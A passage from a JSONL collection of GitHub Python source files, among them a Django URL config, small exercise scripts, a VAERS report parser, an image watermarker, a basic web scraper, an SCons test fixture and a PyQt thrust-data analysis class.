views.edit_student, name='edit_student' ),\n\n path('add-teacher/', views.add_teacher, name='add_teacher' ),\n path('view-teacher/', views.view_teachers, name='view_teachers' ),\n path('deletet//', views.delete_teacher, name='delete_teacher' ),\n path('editt//', views.edit_teacher, name='edit_teacher' ),\n\n path('add-department/', views.add_department, name='add_department' ),\n path('view-department/', views.view_departments, name='view_departments' ),\n path('deleted//', views.delete_department, name='delete_department' ),\n\n path('v-student/', views.v_students, name='v_students' ),\n path('v-teacher/', views.v_teachers, name='v_teachers' ),\n path('v-department/', views.v_departments, name='v_departments' ),\n]\n","repo_name":"Kamlesh-KD/University-Management-System","sub_path":"system/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29361989619","text":"# Algoritmo para obtener signo zodiacal.\n\ndia_nacimiento = int(input(\"Ingrese dia de nacimiento : \"))\nmes_nacimiento = int(input(\"Ingrese mes de nacimiento : \"))\n\n# Transforma valores.\nmes_dia = int((\"00\"+str(mes_nacimiento))[-2:] + (\"00\"+str(dia_nacimiento))[-2:])\n\n# Diccionario con zodiaco.\nzodiaco = {\n 1222: \"capricornio\",\n 1122: \"sagitario\",\n 1023: \"escorpio\",\n 923: \"libra\",\n 823: \"virgo\",\n 723: \"leo\",\n 621: \"cancer\",\n 521: \"geminis\",\n 420: \"tauro\",\n 321: \"aries\",\n 219: \"piscis\",\n 120: \"acuario\",\n 0: \"capricornio\"\n}\n\n# Diccionario con zodiaco.\nfor i in zodiaco:\n if mes_dia >= i:\n print(\" \"+zodiaco[i])\n break\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej7/hito1_ej7_aca352e1a4a5b448a93d844e71d52fa5.py","file_name":"hito1_ej7_aca352e1a4a5b448a93d844e71d52fa5.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18502481021","text":"\"\"\"\nGiven a string s, return true if the s can be palindrome after deleting at most one\ncharacter from it.\n\nExample 1:\nInput: s = \"aba\"\nOutput: true\n\nExample 2:\nInput: s = \"abca\"\nOutput: true\nExplanation: You could delete the character 'c'.\n\nExample 3:\nInput: s = \"abc\"\nOutput: false\n\n\nConstraints:\n\n1 <= s.length <= 105\ns consists of lowercase English letters.\n\"\"\"\n\n\n# Time: O(n)\n# Space: O(1)\ndef valid_palindrome(s):\n def verify(s, left, right, deleted):\n while left < right:\n if s[left] != s[right]:\n if deleted:\n return False\n else:\n return verify(s, left + 1, right, True) or verify(s, left, right - 1, True)\n else:\n left += 1\n right -= 1\n return True\n\n return verify(s, 0, len(s) - 1, False)\n\n\n# Another Solution ---------------------------------------------------------------------------\n# Time: O(n)\n# Space: O(1)\ndef valid_palindrome_v2(s):\n low = 0\n high = len(s) - 1\n while low < high:\n if s[low] != s[high]:\n return is_palindrome(s, low + 1, high) or is_palindrome(s, low, high - 1)\n low += 1\n high -= 1\n\n\ndef is_palindrome(string, low, high):\n while low < high:\n if string[low] != string[high]:\n return False\n low += 1\n high -= 1\n return True\n\n\nif __name__ == \"__main__\":\n print(valid_palindrome_v2(\"abcba\"))\n","repo_name":"candaceleach41/algo_ds_coding_prep","sub_path":"easy/valid_palindrome_ii.py","file_name":"valid_palindrome_ii.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"31725076494","text":"# Dictionaries are unordered.\n\nmy_dict = {\n 'key1': 1,\n 'key2': None,\n 'key3': 3.14,\n 'key4': [1,2,3],\n}\n# Iterate over keys\n# for x in my_dict:\n# print(x)\n\n# Iterate over values\n# for x in my_dict.values():\n# print(x)\n\n# Unpacking values\n# a, b, c, d = my_dict.values()\n# print(a, b, c, d)\n\n# Unpacking each tuple in the dictionary\n# for t in my_dict.items():\n# print(t)\n\n# Unpacking key, value pairs\n# for k, v in my_dict.items():\n# print(k, v)\n\n# ** unpacks k/v pairs into another dictionary. Can only be used on the right hand side. Notice how 'h':5 overwrode 'h':4.\nmy_dict_1 = {'p': 1, 'y': 2}\nmy_dict_2 = {'t': 3, 'h': 4}\nmy_dict_3 = {'h': 5, 'o': 6, 'n': 7}\nmerged_dict = {**my_dict_1, **my_dict_2, **my_dict_3}\nprint(merged_dict)","repo_name":"alexdavidkim/Python3-Notes","sub_path":"iterables_sequence_types/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"73288238968","text":"# Here's an example of stuff to copy and paste into an interactive Python\n# interpreter to get a connection loaded.\n# Or you can load it with 'python -i interactive_mode.py'.\n\n# Set some variables.\n\nbmrc = \"~/.bmrc\"\nsite = \"www\"\nbmutilspath = \"./lib\"\n\n# Import everything, make a connection, and try to log in.\n\nimport json\nimport os\nimport sys\nsys.path.append(os.path.expanduser(bmutilspath).rstrip(\"/\"))\nimport bmutils\nbmconnection = bmutils.BMClientParser(os.path.expanduser(bmrc), site)\nif not bmconnection.verify_login():\n print(\"Could not login\")\n \n# At this point you can do whatever you want. Here's how to load a game,\n# and print its info in nice JSON.\n\ngamenumber = 3038\n\ngame = bmconnection.wrap_load_game_data(gamenumber)\nprint(json.dumps(game, sys.stdout, indent=1, sort_keys=True))\n","repo_name":"buttonmen-dev/buttonmen","sub_path":"tools/api-client/python/interactive_mode.py","file_name":"interactive_mode.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"} +{"seq_id":"35429763319","text":"import pyinputplus as pyip\nfrom datetime import date\nimport calendar\nimport openpyxl\nimport glob\nimport csv\n\n\ndef get_current_date():\n \"\"\"Get current date with goal format of: dd MMM YYYY\"\"\"\n date_year = date.today().year\n date_month = date.today().month\n month_abbr = calendar.month_abbr[date_month]\n date_day = date.today().day\n return f'{date_day} {month_abbr} {date_year}'\n\ndef get_user_input(message):\n \"\"\"Get input from the user with an individualized message and return the user's input.\"\"\"\n output = \"\"\n while True:\n output = input(message)\n print(f\"You entered {output}; is this correct?\")\n verify = pyip.inputMenu([\"Yes\", \"No\"], numbered=True)\n if verify == \"Yes\":\n break\n return output\n\ndef choose_excel_file():\n \"\"\"Showing the user all of the Excel files in the current working directory and asking them to select one to\n load if they have an ongoing file they are adding to.\"\"\"\n excel_files_in_directory = glob.glob('*.xlsx')\n print(\"The following Excel workbooks are in this folder:\")\n i = 1\n for file in excel_files_in_directory:\n print(f\"{i}: {file}\")\n i += 1\n load_current_file = pyip.inputMenu(['Yes', 'No'],\n \"\\nDo you want to pick one of these files to load for the output file?\\n\",\n numbered=True)\n if load_current_file == 'Yes':\n output = pyip.inputMenu(excel_files_in_directory, numbered=True)\n return output\n else:\n return 'None'\n\ndef choose_file(message):\n \"\"\"Asking the user to clarify which csv file correlates to VAX ID and which to VAX Reports data.\"\"\"\n files = glob.glob('*.csv')\n print(message)\n output = pyip.inputMenu(files, numbered=True)\n return output\n\n# Variables for counting\ntotal_occurrences = 0\ntotal_deaths = 0\ntotal_er_visits = 0\ntotal_hospitalizations = 0\ntotal_covid_vax_occurrences = 0\ntotal_covid_vax_deaths = 0\ntotal_covid_vax_er_visits = 0\ntotal_covid_vax_hospitalizations = 0\n\n# VAX file structure: Column 0 - VAERS_ID, Column 1 - VAX_TYPE, Column 2 - VAX_MANU,\n# Column 3 - VAX_LOT, Column 4 - VAX_DOSE_SERIES, Column 5 - VAX_ROUTE, Column 6 - VAX_SITE,\n# Column 7 - VAX_NAME\nVAX_file = choose_file('Which file has the vaccine ID information (Ex: VAERSVAX)?')\nDATA_file = choose_file(\"Which file has the vaccine report data (Ex: VAERSDATA)?\")\n\n# Choose and read into a list the VAX data.\nvax_data = []\nwith open(VAX_file, 'r', encoding='windows-1252') as file:\n reader = csv.reader(file, delimiter=',')\n headers = next(reader)\n for row in reader:\n vax_data.append(row)\n\n# Setting up a dictionary to read all the VAX data into.\n# Key is VAX_NAME, value is a list of VAERS_ID\nvax_data_initial = {}\n\nvax_count_variable = 0\nwhile vax_count_variable < len(vax_data):\n vax_name = vax_data[vax_count_variable][7]\n vax_id = vax_data[vax_count_variable][0]\n if vax_name in vax_data_initial:\n vax_data_initial[vax_name].append(vax_id)\n else:\n vax_data_initial[vax_name] = [vax_id]\n vax_count_variable += 1\n\n# Setup a dictionary for each VAERS_ID entry.\n# Determining whether the report is due to death.\nvax_reports = {}\n\n# DATA file structure:\n# Column 0 - VAERS_ID\n# Column 1 - RECVDATE\n# Column 2 - STATE\n# Column 3 - AGE_YRS\n# Column 4 - CAGE_YR\n# Column 5 - CAGE_MO\n# Column 6 - SEX\n# Column 7 - RPT_DATE\n# Column 8 - SYMPTOM_TEXT\n# Column 9 - DIED\n# Column 10 - DATEDIED\n# Column 11 - L_THREAT\n# Column 12 - ER_VISIT\n# Column 13 - HOSPITAL\n# Column 14 - HOSPDAYS\n# Column 15 - X_STAY\n# Column 16 - DISABLE\n# Column 17 - RECOVD\n# Column 18 - VAX_DATE\n# Column 19 - ONSET_DATE\n# Column 20 - NUMDAYS\nvax_data_data = []\nwith open(DATA_file, 'r', encoding='windows-1252') as file:\n reader = csv.reader(file, delimiter=',')\n headers = next(reader)\n for row in reader:\n vax_data_data.append(row)\n\ndata_count_variable = 0\nwhile data_count_variable < len(vax_data_data):\n vaers_id = vax_data_data[data_count_variable][0]\n reported_death = 0\n reported_er_visit = 0\n reported_hospitalization = 0\n if vax_data_data[data_count_variable][9] == \"Y\":\n reported_death += 1\n if vax_data_data[data_count_variable][12] == \"Y\":\n reported_er_visit += 1\n if vax_data_data[data_count_variable][13] == \"Y\":\n reported_hospitalization += 1\n\n # Add VAERS_ID to dictionary.\n vax_reports[vaers_id] = [reported_death, reported_er_visit, reported_hospitalization]\n data_count_variable += 1\n\nvax_data_by_type = []\nfor vaccine_type in vax_data_initial:\n vaccine_name = vaccine_type\n total_reported_occurrences = 0\n total_reported_deaths = 0\n total_reported_er_visits = 0\n total_reported_hospitalizations = 0\n for report_id in vax_data_initial[vaccine_type]:\n total_reported_occurrences += 1\n # 0 - reported_death, 1 - reported_er_visit, 2 - reported_hospitalization\n total_reported_deaths += vax_reports[report_id][0]\n total_reported_er_visits += vax_reports[report_id][1]\n total_reported_hospitalizations += vax_reports[report_id][2]\n\n # Add parsed data to list.\n vax_data_by_type.append([vaccine_name, # 0\n total_reported_occurrences, # 1\n total_reported_deaths, # 2\n total_reported_er_visits, # 3\n total_reported_hospitalizations]) # 4\n\n # Update totals.\n total_occurrences += total_reported_occurrences\n total_deaths += total_reported_deaths\n total_er_visits += total_reported_er_visits\n total_hospitalizations += total_reported_hospitalizations\n\n # Update COVID19 vaccine totals.\n if vaccine_type.__contains__('COVID19'):\n total_covid_vax_occurrences += total_reported_occurrences\n total_covid_vax_deaths += total_reported_deaths\n total_covid_vax_er_visits += total_reported_er_visits\n total_covid_vax_hospitalizations += total_reported_hospitalizations\n\nsorted_vax_data_list = sorted(vax_data_by_type, key=lambda vax_deaths: vax_deaths[2], reverse=True)\n\n# A variable for the date of the current data.\ndata_date = get_user_input(\"What's the date for this data (it's in the name of the zip folder)? \")\n\n# Check to see if output Excel already exists.\n# Load sheet if exists, else create new file.\nchosen_file = choose_excel_file()\noutput_wb = \"\"\nif chosen_file == 'None':\n output_wb = openpyxl.Workbook()\n chosen_file = get_user_input(\"What would you like to name the file? \")\nelse:\n output_wb = openpyxl.load_workbook(chosen_file)\n\noutput_wb_sheet = output_wb.create_sheet(index=0, title=data_date)\noutput_wb_sheet.merge_cells('A1:D1')\noutput_wb_sheet['A1'] = f\"VAERS Data from: {data_date}; Parsed on: {get_current_date()}\"\noutput_wb_sheet['A2'] = \"Vaccine Type\"\noutput_wb_sheet['B2'] = \"Number of Reports\"\noutput_wb_sheet['C2'] = \"Deaths Reported\"\noutput_wb_sheet['D2'] = \"ER Visits Reported\"\noutput_wb_sheet['E2'] = \"Hospitalizations Reported\"\n\nrow_to_write_to = 3 # Starting at 3 since the date is going in 1 and headers in 2.\nfor vaccine in sorted_vax_data_list:\n # Write values to Excel.\n output_wb_sheet[f'A{row_to_write_to}'] = vaccine[0]\n output_wb_sheet[f'B{row_to_write_to}'] = vaccine[1]\n output_wb_sheet[f'C{row_to_write_to}'] = vaccine[2]\n output_wb_sheet[f'D{row_to_write_to}'] = vaccine[3]\n output_wb_sheet[f'E{row_to_write_to}'] = vaccine[4]\n row_to_write_to += 1\n\n# Writing out the totals and comparing COVID19 to everything else.\noutput_wb_sheet['G2'] = \"Total Deaths\"\noutput_wb_sheet['G3'] = total_deaths\noutput_wb_sheet['G5'] = \"COVID19 Vaccine Deaths\"\noutput_wb_sheet['G6'] = total_covid_vax_deaths\noutput_wb_sheet['G8'] = \"Non-COVID Vaccine Deaths\"\noutput_wb_sheet['G9'] = total_deaths - total_covid_vax_deaths\noutput_wb_sheet['G11'] = \"Total ER Visits\"\noutput_wb_sheet['G12'] = total_er_visits\noutput_wb_sheet['G14'] = \"COVID19 ER Visits\"\noutput_wb_sheet['G15'] = total_covid_vax_er_visits\noutput_wb_sheet['G17'] = \"Non-COVID ER Visits\"\noutput_wb_sheet['G18'] = total_er_visits - total_covid_vax_er_visits\noutput_wb_sheet['G20'] = \"Total Hospitalizations\"\noutput_wb_sheet['G21'] = total_hospitalizations\noutput_wb_sheet['G23'] = \"COVID19 Hospitalizations\"\noutput_wb_sheet['G24'] = total_covid_vax_hospitalizations\noutput_wb_sheet['G26'] = \"Non-COVID Hospitalizations\"\noutput_wb_sheet['G27'] = total_hospitalizations - total_covid_vax_hospitalizations\noutput_wb_sheet['I2'] = \"Total Reports\"\noutput_wb_sheet['I3'] = total_occurrences\noutput_wb_sheet['I5'] = \"COVID19 Reports\"\noutput_wb_sheet['I6'] = total_covid_vax_occurrences\noutput_wb_sheet['I8'] = \"Non-COVID Reports\"\noutput_wb_sheet['I9'] = total_occurrences - total_covid_vax_occurrences\n\n# Clean up the spreadsheet.\nsheets = output_wb.sheetnames\nif 'Sheet' in sheets:\n del output_wb['Sheet']\n\nif chosen_file.endswith('.xlsx'):\n output_wb.save(chosen_file)\n output_wb.close()\nelse:\n output_wb.save(f'{chosen_file}.xlsx')\n output_wb.close()","repo_name":"calebwsaunders/VAERS_verification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22309893642","text":"import os\r\nfrom PIL import Image\r\n\r\n# Set the path and change working directory to the path of the images.\r\npath = \"test\"\r\nos.chdir(path)\r\n\r\n# Set some constants for the desired size of the x axis for the image and the logo filename.\r\nX_FIT_SIZE = 800\r\nLOGO_FILENAME = \"testing.png\"\r\n\r\n# Open the logo and also set some variables for its width and height.\r\nlogoIm = Image.open(LOGO_FILENAME)\r\nlogoWidth, logoHeight = logoIm.size\r\n\r\n# Create 2 new folders in the directory, don't raise an error if the folder already exists.\r\nos.makedirs(\"With Logo\", exist_ok=True)\r\nos.makedirs(\"Without Logo\", exist_ok=True)\r\n\r\n# Loop over all files in the working directory.\r\nfor filename in os.listdir('.'):\r\n if not (filename.endswith('.png') or filename.endswith('.jpg')) or filename == LOGO_FILENAME:\r\n continue # Skip non-image files and the logo file itself.\r\n\r\n # If the file passes through the check, open the image and save its width and height\r\n im = Image.open(filename)\r\n width, height = im.size\r\n\r\n # Check if image needs to be resized.\r\n if width > X_FIT_SIZE or width < X_FIT_SIZE:\r\n\r\n # Calculate the new width and height to resize to.\r\n height = int((X_FIT_SIZE / width) * height)\r\n width = X_FIT_SIZE\r\n\r\n # Resize the image.\r\n print(\"Resizing {0}...\".format(filename))\r\n im = im.resize((width, height))\r\n\r\n # Save the changes for the image without the logo.\r\n im.save(os.path.join(\"Without Logo\", filename))\r\n\r\n # Create 4 instances of the image, so we can edit each one and paste the logo on a different\r\n # corner each time without keeping the old one. We need to do this so we don't reference\r\n # the exact im Image because then every change to imBR affects im and vice-versa.\r\n imBR = im.resize((width, height))\r\n imBL = im.resize((width, height))\r\n imTL = im.resize((width, height))\r\n imTR = im.resize((width, height))\r\n\r\n # Add the logo to the image and save the image as the name + corner of logo.\r\n # This is being done for all 4 corners.\r\n # The last line of code in the group of code for each corner, puts the\r\n # location of the logo between the name and the extension (.png or .jpg).\r\n\r\n # Add logo to bottom right corner.\r\n print('Adding logo to the bottom right corner of {0}...'.format(filename))\r\n imBR.paste(logoIm, (width - logoWidth, height - logoHeight), logoIm)\r\n imBR.save(os.path.join('With Logo', \"{0}-BottomRight{1}\".format(filename[:-4], filename[-4:])))\r\n\r\n # Add logo to bottom left corner.\r\n print('Adding logo to the bottom left corner of {0}...'.format(filename))\r\n imBL.paste(logoIm, (0, height - logoHeight), logoIm)\r\n imBL.save(os.path.join('With Logo', \"{0}-BottomLeft{1}\".format(filename[:-4], filename[-4:])))\r\n\r\n # Add logo tp top left corner.\r\n print('Adding logo to the top left corner of {0}...'.format(filename))\r\n imTL.paste(logoIm, (0, 0), logoIm)\r\n imTL.save(os.path.join('With Logo', \"{0}-TopLeft{1}\".format(filename[:-4], filename[-4:])))\r\n\r\n # Add logo to top right corner.\r\n print('Adding logo to the top right corner of {0}...'.format(filename))\r\n imTR.paste(logoIm, (width - logoWidth, 0), logoIm)\r\n imTR.save(os.path.join('With Logo', \"{0}-TopRight{1}\".format(filename[:-4], filename[-4:])))\r\n","repo_name":"AxillV/image-watermark-creator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"2933893624","text":"import os\nimport bs4\nimport pandas as pd\nimport time as t\nimport requests as rq\nimport webbrowser as web\n\nclass Scrape:\n def __init__(self):\n self.count = 1\n self.url = \"\"\n self.result = \"\"\n self.stage2 = \"\"\n self.e = \"\"\n self.lizt = []\n self.wait_anims = [\"Loading. < ÓwÓ <\", \n \"Loading.. ~< -w- <\", \n \"Loading... > ÒwÒ =>\", \n \"loading.. > -w- >~\"]\n \n def WelcomeAndCheck(self):\n print(\"Welcome to web scraper\")\n t.sleep(5)\n while True:\n try:\n self.url = input(\"Your url ? : \")\n self.respond = rq.get(self.url)\n self.result = self.respond.status_code\n for i in self.wait_anims:\n os.system(\"clear\")\n print(i)\n t.sleep(1.5)\n if self.result == 200:\n print(\"Success\")\n t.sleep(1)\n self.processing()\n break\n else:\n raise Exception()\n except:\n print(\"cannot connect to server, try again or check your url\")\n \n def processing(self):\n os.system(\"clear\")\n print(\"stage 1 passed\")\n self.stage2 = bs4.BeautifulSoup(self.respond.text, \"html.parser\")\n while True:\n try:\n self.stage3asktag = str(input(\"tag? : \"))\n self.stage3askclassortag = str(input(\"class or tag : \"))\n self.stage3askclassname = str(input(\"name of class/id? : \"))\n \n self.stage3 = self.stage2.find_all(self.stage3asktag, {self.stage3askclassortag : self.stage3askclassname})\n \n if self.stage3:\n self.lizt = []\n for i in self.stage3:\n self.e = i.text\n self.lizt.append(self.e)\n print(f\"Prewiew : {self.lizt}\")\n self.check_save_xl()\n else:\n raise Exception()\n except:\n print(\"cannot scrape\")\n t.sleep(2)\n os.system(\"clear\")\n \n def check_save_xl(self):\n os.system(\"clear\")\n print(\"do you want to save as xl?\")\n while True:\n try:\n os.system(\"clear\")\n self.save_check_xl = str(input(\"Excel [y/n]\")).lower()\n \n if self.save_check_xl == \"y\":\n self.excel()\n break\n elif self.save_check_xl == \"n\":\n self.check_save_txt()\n else:\n raise Exception()\n except:\n print(\"only type y or n\")\n\n def excel(self):\n os.system(\"clear\")\n self.name_content = str(input(\"the name of column? : \"))\n self.dataframe = pd.DataFrame({self.name_content : self.lizt})\n self.filename = str(input(\"file name? : \"))\n self.dataframe.to_excel(f\"{self.filename}.xlsx\", index=False)\n self.check_save_txt()\n \n def check_save_txt(self):\n os.system(\"clear\")\n print(\"do you want to save as xl or txt file?\")\n while True:\n try:\n self.save_check_txt = input(\".txt? [y/n]\").lower()\n if self.save_check_txt == \"y\":\n self.text()\n elif self.save_check_txt == \"n\":\n pass\n else:\n raise Exception()\n except:\n print(\"only type y or n\")\n \n def text(self):\n self.txt_filename = input(\"file name? : \")\n with open(f\"{self.txt_filename}.txt\", \"w\") as file:\n for i in self.stage3:\n self.e = i.text\n file.write(self.e + \"\\n\")\n \n \n def start(self):\n self.WelcomeAndCheck()\n\ntest = Scrape()\ntest.start()\n","repo_name":"Sphxre173/URLscraper-v1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"31099460502","text":"import fileinput\nimport getopt\nimport sys\n\ndef fake_link():\n opts, args = getopt.getopt(sys.argv[1:], 'o:s:')\n for opt, arg in opts:\n if opt == '-o':\n out = arg\n\n with open(out, 'wb') as ofp, fileinput.input(files=args, mode='rb') as ifp:\n for line in ifp:\n if not line.startswith(b'#link'):\n ofp.write(line)\n\ndef fake_win32_link():\n args = sys.argv[1:]\n while args:\n arg = args[0]\n if arg == '-o':\n out = args[1]\n args = args[2:]\n continue\n if arg[0] not in '/-':\n break\n args = args[1:]\n if arg.lower().startswith('/out:'):\n out = arg[5:]\n with open(args[0], 'rb') as ifp, open(out, 'wb') as ofp:\n for line in ifp:\n if not line.startswith(b'#link'):\n ofp.write(line)\n\nif __name__ == '__main__':\n if sys.platform == 'win32':\n fake_win32_link()\n else:\n fake_link()\n sys.exit(0)\n","repo_name":"SCons/scons","sub_path":"test/fixture/mylink.py","file_name":"mylink.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":1830,"dataset":"github-code","pt":"77"} +{"seq_id":"15963174933","text":"from aldryn_apphooks_config.fields import AppHookConfigField\nfrom aldryn_apphooks_config.models import AppHookConfig\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db import models\nfrom cms.models.fields import PlaceholderField\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nimport datetime\nfrom cms_appconfig import AdventCalendarConfig\nimport random\n\ndef placeholder_name(self):\n return _('Advent calendar') + ' ' + unicode(self.day)\n\n\nclass AdventCalenderDay(models.Model):\n app_config = AppHookConfigField(AdventCalendarConfig, verbose_name=_('calendar'), default=None)\n day = models.DateField(verbose_name=_('date'))\n placeholder = PlaceholderField(placeholder_name)\n order = models.IntegerField(verbose_name=_('display order'), default=0)\n\n def __str__(self):\n return _('Advent calendar') + ' ' + self.day.strftime('%Y-%m-%d')\n\n class Meta:\n verbose_name = _('Advent calendar day')\n verbose_name_plural = _('Advent calendar days')\n\n@receiver(post_save, sender=AdventCalendarConfig)\ndef create_advent_calender_days(sender, instance, created, **kwargs):\n if created:\n calendar_days = 24\n order = range(calendar_days)\n random.shuffle(order)\n for day in range(calendar_days):\n date = instance.start_date + datetime.timedelta(days=day)\n AdventCalenderDay.objects.create(\n app_config=instance,\n day=unicode(date),\n order=order[day]\n )\n","repo_name":"Maskinteknologsektionen/Website","sub_path":"advent_calendar/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"70778484409","text":"from pyqtgraph import PlotWidget,GraphicsLayoutWidget\nfrom PyQt5 import QtWidgets, QtWidgets\nimport numpy as np\nimport pyqtgraph as pg\nimport bisect\nfrom Model.streamManager import StreamManager\nfrom scipy.signal import savgol_filter as sgf\nimport scipy.integrate as igt\n\nclass AnalyseViewModel:\n def __init__(self,analyseTabView,config):\n self.config = config\n self.tabView = analyseTabView\n self.setUpHandels()\n self.initControls()\n\n def setUpHandels(self):\n\n # get handels\n # combo boxes\n self.chnComboBox = self.tabView.findChild(QtWidgets.QComboBox,\"chnNumComboBox\")\n self.orientationComboBox = self.tabView.findChild(QtWidgets.QComboBox,\"orientationComboBox\")\n # buttons\n self.resetButton = self.tabView.findChild(QtWidgets.QPushButton,\"resetButton\")\n self.selectRoiButton = self.tabView.findChild(QtWidgets.QPushButton,\"selectRoiButton\")\n self.filterButton = self.tabView.findChild(QtWidgets.QPushButton,\"filterButton\")\n self.analyseButton = self.tabView.findChild(QtWidgets.QPushButton,\"analyseButton\")\n self.massCompButton = self.tabView.findChild(QtWidgets.QPushButton,\"massCompButton\")\n # labels\n self.preBurnLabel = self.tabView.findChild(QtWidgets.QLabel,\"preBurnLabel\")\n self.postBurnLabel = self.tabView.findChild(QtWidgets.QLabel,\"postBurnLabel\")\n self.startTimeLabel = self.tabView.findChild(QtWidgets.QLabel,\"startTimeLabel\")\n self.stopTimeLabel = self.tabView.findChild(QtWidgets.QLabel,\"stopTimeLabel\")\n self.idtLabel = self.tabView.findChild(QtWidgets.QLabel,\"idtLabel\")\n self.irtLabel = self.tabView.findChild(QtWidgets.QLabel,\"irtLabel\")\n self.atLabel = self.tabView.findChild(QtWidgets.QLabel,\"atLabel\")\n self.btLabel = self.tabView.findChild(QtWidgets.QLabel,\"btLabel\")\n self.maxThrustLabel = self.tabView.findChild(QtWidgets.QLabel,\"maxThrustLabel\")\n self.spImpulsLabel = self.tabView.findChild(QtWidgets.QLabel,\"spImpulsLabel\")\n self.totImpulsLabel = self.tabView.findChild(QtWidgets.QLabel,\"totImpulsLabel\")\n # line edits\n self.windowLineEdit = self.tabView.findChild(QtWidgets.QLineEdit,\"windowLineEdit\")\n self.orderLineEdit = self.tabView.findChild(QtWidgets.QLineEdit,\"orderLineEdit\")\n self.fuelMassLineEdit = self.tabView.findChild(QtWidgets.QLineEdit,\"fuelMassLineEdit\")\n # check boxes\n self.massCompCheckBox = self.tabView.findChild(QtWidgets.QCheckBox,\"massCompCheckBox\")\n self.calcMassCheckBox = self.tabView.findChild(QtWidgets.QCheckBox,\"calcMassCheckBox\")\n # graph view\n self.graphView = self.tabView.findChild(GraphicsLayoutWidget,\"analyseGraphView\")\n self.roi = None\n self.inf1 = None\n\n def initControls(self):\n self.chnComboBox.addItems([\"Channel {}\".format(num) for num in range(1,9,1)])\n self.orientationComboBox.addItems([\"upwards\",\"downwards\",\"horizontal\"])\n self.initGraph()\n self.selectRoiButton.state = \"selectRoi\"\n # connections\n self.resetButton.clicked.connect(self.resetGraphView)\n self.selectRoiButton.clicked.connect(self.selectRegions)\n self.analyseButton.clicked.connect(self.analyse)\n self.filterButton.clicked.connect(self.applyFilter)\n self.massCompButton.clicked.connect(self.computeMassCompensation)\n\n def resetGraphView(self):\n chnNum = self.chnComboBox.currentIndex()+1\n with StreamManager.numDataLock:\n if len(StreamManager.numData[chnNum])>=50:\n self.x = np.array(StreamManager.numData[0])\n self.y = np.array(StreamManager.numData[chnNum])\n\n scale = float(self.config.chnConfigs[chnNum-1].scale)\n offset = float(self.config.chnConfigs[chnNum-1].offset)\n self.y_ = self.y * scale + offset\n self.curve.setData(y=self.y_,x=self.x)\n if self.roi is None:\n self.roi = pg.LinearRegionItem([min(self.x),max(self.x)])\n self.Plt.addItem(self.roi)\n else:\n self.roi.setRegion([min(self.x),max(self.x)])\n self.roi.show()\n self.selectRoiButton.setText(\"Select Region of Interest\")\n self.selectRoiButton.state = \"selectRoi\"\n self.selectRoiButton.show()\n if self.inf1 is not None:\n self.inf1.hide()\n self.inf2.hide()\n\n def initGraph(self):\n win: GraphicsLayoutWidget = self.graphView\n self.Plt = win.addPlot(title=\"\",col=0,row=0)\n self.curve = self.Plt.plot(pen=(1,2*1.3))\n\n def selectRegions(self):\n if self.selectRoiButton.state == \"selectRoi\":\n self.cropDataToRegion()\n self.updateGraph()\n self.selectRoiButton.state = \"selectPreBurnData\"\n self.selectRoiButton.setText(\"Select Pre Burn Values\")\n elif self.selectRoiButton.state == \"selectPreBurnData\":\n self.getPreBurnValues()\n self.selectRoiButton.state = \"selectPostBurnData\"\n self.selectRoiButton.setText(\"Select Post Burn Values\")\n elif self.selectRoiButton.state == \"selectPostBurnData\":\n self.getPostBurnValues()\n self.calculateStartStopTime()\n\n def cropDataToRegion(self):\n x1, x2 = self.roi.getRegion()\n idx1 = max(bisect.bisect_left(self.x,x1),0)\n idx2 = min(bisect.bisect_right(self.x,x2),len(self.x)-1)\n self.x = self.x[idx1:idx2]\n self.y_ = self.y_[idx1:idx2]\n print(self.roi.getRegion())\n\n def getPreBurnValues(self):\n x1, x2 = self.roi.getRegion()\n idx1 = max(bisect.bisect_left(self.x,x1),0)\n idx2 = min(bisect.bisect_right(self.x,x2),len(self.x)-1)\n self.preBurnData = self.y_[idx1:idx2]\n self.preBurnValue = self.preBurnData.mean()\n self.preBurnStd = self.preBurnData.std()\n self.preBurnLabel.setText(\"{:.2f}\".format(self.preBurnValue))\n\n def getPostBurnValues(self):\n x1, x2 = self.roi.getRegion()\n idx1 = max(bisect.bisect_left(self.x,x1),0)\n idx2 = min(bisect.bisect_right(self.x,x2),len(self.x)-1)\n self.postBurnData = self.y_[idx1:idx2]\n self.postBurnValue = self.postBurnData.mean()\n self.postBurnStd = self.postBurnData.std()\n self.postBurnLabel.setText(\"{:.2f}\".format(self.postBurnValue))\n\n def calculateStartStopTime(self):\n # try to find the start value\n for i in range(len(self.x)):\n value = self.y_[i]\n if value > (max(self.preBurnData) + 2*self.preBurnStd):\n self.startTime = self.x[i]\n self.startTimeLabel.setText(\"{:.2f}\".format(self.startTime))\n break\n\n # try to find the stop value\n for i in range(len(self.x)):\n value = self.y_[(i+1)*-1] # inverse the search direction\n if value > (max(self.postBurnData) + 2*self.postBurnStd):\n self.stopTime = self.x[(i+1)*-1]\n 